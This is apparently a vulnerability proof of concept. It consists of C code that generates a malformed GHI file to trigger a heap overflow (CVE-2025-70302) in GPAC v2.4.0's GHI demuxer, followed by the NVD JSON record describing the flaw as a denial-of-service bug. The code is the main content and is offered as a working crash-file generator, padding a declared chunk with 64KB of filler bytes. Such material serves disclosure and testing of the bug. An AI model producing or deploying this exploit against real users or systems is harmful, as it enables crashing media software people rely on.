CVE-2025-70302

/* CVE-2025-70302 PoC - GPAC ghi_dmx_declare_opid_bin() Heap Overflow This PoC demonstrates a heap overflow vulnerability in GPAC v2.4.0's GHI demuxer when processing crafted input files. Usage: Generate a malicious GHI file and open with GPAC */ #include <stdio.h> #include <stdlib.h> #include <string.h> // GHI file format structures typedef struct { char magic[4]; // 'GHI\x00' uint32_t version; uint32_t flags; } ghi_header_t; typedef struct { uint32_t type; // 0x01 for declare_opid uint32_t data_len; } ghi_chunk_header_t; // Generate malicious GHI file with oversized opid data void generate_poc(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { printf("[-] Failed to create file\n"); return; } // GHI header ghi_header_t header; memcpy(header.magic, "GHI\x00", 4); header.version = 1; header.flags = 0; fwrite(&header, sizeof(header), 1, fp); // Malicious chunk - declare_opid with overflow data ghi_chunk_header_t chunk; chunk.type = 0x01; // declare_opid // Overflow size - causes heap buffer overflow size_t overflow_size = 0x10000; // 64KB overflow chunk.data_len = overflow_size; fwrite(&chunk, sizeof(chunk), 1, fp); // Write overflow data char* overflow_data = malloc(overflow_size); memset(overflow_data, 0x41, overflow_size); // Fill with 'A' fwrite(overflow_data, 1, overflow_size, fp); free(overflow_data); fclose(fp); printf("[+] PoC file created: %s\n", filename); printf("[+] Overflow size: %zu bytes\n", overflow_size); } int main(int argc, char* argv[]) { const char* output = argc > 1 ? argv[1] : "poc.ghi"; printf("[=] CVE-2025-70302 GPAC Heap Overflow PoC Generator\n"); generate_poc(output); return 0; }

{"cve": {"id": "CVE-2025-70302", "sourceIdentifier": "[email protected]", "published": "2026-01-15T19:16:04.190", "lastModified": "2026-01-23T19:11:49.943", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap overflow in the ghi_dmx_declare_opid_bin() function of GPAC v2.4.0 allows attackers to cause a Denial of Service (DoS) via a crafted input."}, {"lang": "es", "value": "Un desbordamiento de montículo en la función ghi_dmx_declare_opid_bin() de GPAC v2.4.0 permite a los atacantes causar una denegación de servicio (DoS) mediante una entrada manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gpac:gpac:2.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "C8D68051-EBCD-445B-A060-EAC407CE2D39"}]}]}], "references": [{"url": "https://github.com/zakkanijia/POC/blob/main/gpac_ghi/ghi.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}